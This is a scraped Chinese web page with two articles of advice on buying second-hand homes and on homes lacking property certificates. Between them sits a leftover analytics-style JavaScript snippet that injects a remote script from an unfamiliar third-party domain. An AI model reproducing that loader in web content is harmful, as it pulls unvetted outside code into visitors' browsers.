购买二手房有什么技巧吗 具体该怎么做

购买二手房对于一些想要拥有自己的一个独立空间但却囊中羞涩的人们是一个两全其美的选择，购买二手房既能够满足自己的愿望，又不会太过超过自己的经济范围。但在购买之前大部分人都会有一些困惑，比如说购买二手房的步骤是什么，都有哪些技巧等等，这里就为大家回答这些问题。购买二手房的技巧一般有以下几点：一、所买二手房的使用年限二手房的使用年限是一个很容易被忽略的问题，但其实这是很重要的一点。房子的使用价值以及剩余交易价值有很大一部分都取决于房龄。所以大家在购买二手房时一定要问清这个房子已经被使用了多久，房龄越短，房子价值就越高。二、选择靠谱的中介中介也是大家能否购买到物美价廉的二手房的一个重要因素。那么怎么判断中介是否靠谱呢？大家在选好心仪的房子之后，要先对这个区域的房价有一个基本的了解，以防被中介乱报价。其次，大家要学会货比三家，多咨询几家中介，综合权衡后再做决定。三、注意二手房的后续价值大家购买二手房时也不要一昧的追求便宜，还要看这个房子的后续商业价值。比如未来房子周边会不会有道路建设，片区规划，学校建设的等等。这样一来，大家购买的房子可能还会有后续升值的可能性。四、不要被广告所迷惑现在许多人在销售二手房时总是会打送车位之类的幌子，一定不要被这些销售手段所迷惑，要清楚自己购买二手房的真正要求是什么。因为很多卖方其实玩的都是数字游戏，打着送什么的旗号，实际价格却并没有少多少，甚至还可能虚高，所以大家一定要擦亮眼睛。购买二手房的技巧差不多就是这些了，希望大家能够熟练运用，买到合适的房子。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

二手房没有房产证可以贷款吗？二手房没有房产证能否买

房产已经成为人们心中非常重要的保值财产了，在遇到个人资金周转困难的时候，要是你手中有房产的话，可以将其抵押出去，为自己争取到足够的资金，度过眼前的难关。有些人手中是有一套房产，但属于二手房，而且还没有房产证，自己又遇到了资金紧张的情况，这时想要向银行申请贷款。那么，二手房没有房产证可以贷款吗?二手房没有房产证可以贷款吗可以的。有购房合同就行和有效证件就行。如果不行，请问开发商卖给你的房子刚开始房产证是没办下来的，按揭怎么做呢?所以是可以的。但要确定这房子以后可以办出房产证明来。如你说的旧城改造的房子是不行的。而且交易并不安全。没有房产证明是不受保护的。存在一定的风险。二手房没有房产证能否买首先，从国家法律政策来讲，没有产权证的房产是不允许交易的。因为国家规定，房产买卖以办理权属转移等级(也就是所谓的“过户”)为准，没有产权证的房产是不可以办理过户的，国家不保护不过户的房产交易。其次，小编在这里建议大家不要购买这类房子，因为没有产权证不能贷款、不能过户、也不能办理公证，所以签署的协议也是无效的。对此，没有产权证不能办理过户的话，那么其中隐藏的风险将会很大，不过户的话房产的所有权还是原业主。例如，如果原业主离异的话房产将会被分割，如他有债务被起诉的话，那么这套房产被法院列入可执行的财产。当然,开发商预售商品房属于一种特殊情况,是要经过专门审批的。房地产是一项特殊的商品,其权利的获得需要经过政府相关部门的登记确认,其权利的体现就是获得权属证书,也只有获得了权属证书的房地产,才是国家政府予于确认的财产,才具有其存在的合法性和价值。而对于二手房如果没有房产证的话,就是权利有瑕疵的,无法办理过户,这样对于购买者来说无疑会加大风险,最好不要购买。二手房没有房产证可以贷款吗?没有房产证的二手房对自己来说是没有保障，就算它可以用来贷款，但总归还是有缺陷的。购买房子的时候尽量选择有房产证的房子，才能够为自己减少麻烦或纠纷。购买二手房的时候也要及时办理过户，按照规定的程序去那房产证，永远记住一点，房产证上有你的名字，该套房子才是彻彻底底属于你的。